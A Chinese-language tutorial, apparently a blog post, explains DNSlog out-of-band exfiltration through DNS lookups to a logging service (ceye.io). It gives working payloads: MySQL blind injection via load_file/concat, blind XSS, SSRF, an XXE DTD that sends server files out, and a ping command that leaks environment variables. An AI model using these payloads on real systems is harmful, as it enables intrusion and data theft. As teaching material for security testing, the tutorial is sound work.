之前一直有看到过DNSlog这个字眼,但一直没有好好去了解一下,最近又接触到了刚好来深入学习下
0x01 什么是DNSlog
我们都知道DNS就是将域名解析为ip,用户在浏览器上输入一个域名A.com,就要靠DNS服务器将A.com解析到它的真实ip127.0.0.1,这样就可以访问127.0.0.1服务器上的相应服务。
那么DNSlog是什么。DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。
那怎么利用DNSlog进行注入呢?得深入了解一下DNSlog
0x02 DNSlog回显原理
前面说DNSlog就是日志,那怎么用DNSlog进行注入并回显信息呢。我们得再了解一个多级域名的概念。
域名分级与域名解析过程(DNS)
因特网采用层次树状结构命名方法。域是名字空间中一个可被管理的划分(按机构组织划分),域可被划分为子域,子域可再被划分,即形成了*域名、二级域名、三级域名等。从右向左为*域名、二级域名、三级域名等,用点隔开。如:
tieba.baidu.com
它由三个标号组成, com即为*域名,baidu为二级域名,tieba即为三级域名。且域名不分区大小写。
再来看一个图
通俗的说就是我有个已注册的域名a.com,我在域名代理商那里将域名设置对应的ip 1.1.1.1 上,这样当我向dns服务器发起a.com的解析请求时,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方。
看个直观一点的例子来理解:
ping命令的时候会用到DNS解析所以我就用ping命令做个实验。
可以看到解析的日志会把%USERNAME%的值给带出来,因为系统在ping命令之前会将%USERNAME%的值解析出来,然后再和a.com拼接起来,最后ping命令执行将longkey.a.com一起发给DNS服务器请求解析域名对应的ip地址,这个过程被记录下来就是DNSlog,看到这里应该有点感觉了。原理上只要能进行DNS请求的函数都可能存在DNSlog注入。
通常用在哪些地方
1.SQL注入中的盲注
在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显
2.无回显的命令执行
我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功
3.无回显的SSRF
推荐平台:
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
这里用http://ceye.io来做演示
这是一个免费的记录dnslog的平台,我们注册后到控制面板会给你一个三级域名:xxx.ceye.io,当我们把注入信息放到四级域名那里,后台的日志会记录下来,还是之前那个例子,我把它放到四级域名的位置。
然后查看DNSlog
可以看到%USERNAME%的值被记录到DNSlog上了
0x03 DNSlog利用姿势
SQL注入
利用load_file函数图解
就以sql盲注为例,后端数据库用的mysql数据库,说一下用dnslog回显只能用于windows系统,为什么呢。因为在利用sql盲注进行DNSlog回显时,需要用到load_file函数,这个函数可以进行DNS请求。那
和只能在windows上用有什么关系呢,这里就涉及到Windows的一个小Tips——UNC路径
UNC路径
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
\abc.xxx\test
这也就解释了为什么CONCAT()函数拼接了4个\了,双斜杠表示网络资源路径多加两个\就是转义了反斜杠。
通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like \'%secure%\'
;查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。
直接在mysql命令行执行:
select load_file(\'\\\\requests.xxxx.ceye.io\\aa\');
查看DNSlog
这是最基本的用法,来看看利用盲注来回显。
payload:\' and if((select load_file(concat(\'\\\\\',(select database()),\'.xxxx.ceye.io\\abc\'))),1,0)--+
利用concat()函数将查询的数据库名和域名拼接,执行后查看DNSlog
可以看到数据库名已经被获取
XSS
XSS 盲打在安全测试的时候是比较常用的
payload: "<script src=http://XSS.XXXXX.ceye.io></script>"
当然也可以打cookie,不过目前实现的条件极为苛刻,就不多说了。
SSRF
根据上面两个例子,熟悉 SSRF 的肯定也是知道怎么玩了
payload: "... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..."
XXE
当我们遇到XXE,如果这个XXE漏洞可以解析外部实体,那么不用说,就可以拿来读取本地服务器文件,这时,我们只需把dtd文件改成这样
<!ENTITY % all
"<!ENTITY % send SYSTEM \'http://XXXX.ceye.io/%file;\'>"
>
%all;
在我们的ceye平台就可以接收到这个读取的服务器文件了。
当安全维护人员对服务器做了安全防护,使XXE不可以解析外部实体,但是这种任然是从前台直接传递的时候,依旧是存在SSRF漏洞。所以对XXE的安全防护是必须严格化的。
命令执行
以前在命令执行无法回显的时候可能会借用类似 python -m SimpleHTTPServer 这样的环境,采用回连的检测机制来实时监控访问日志。Liunx 系统环境下一般是使用 curl 命令或者 wget 命令,而 windows 系统环境就没有这么方便的命令去直接访问一个链接,常用的是 ftp命令和 PowerShell 中的文件下载来访问日志服务器。现在,有了一个比较通用的做法同时兼顾 Liunx 和 windows 平台,那就是 ping 命令,当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就能说明漏洞确实存在。
就像我之前第一个例子,用windows的系统变量
payload: " ping %PATH%.pxxx.ceye.io ..."
最后,在回显数据时,域名能够接受的字符是有条件限制的,某些不适合作为域名的特殊字符可能会被屏蔽掉,针对这种情况我们也可以base64编码后再进行请求。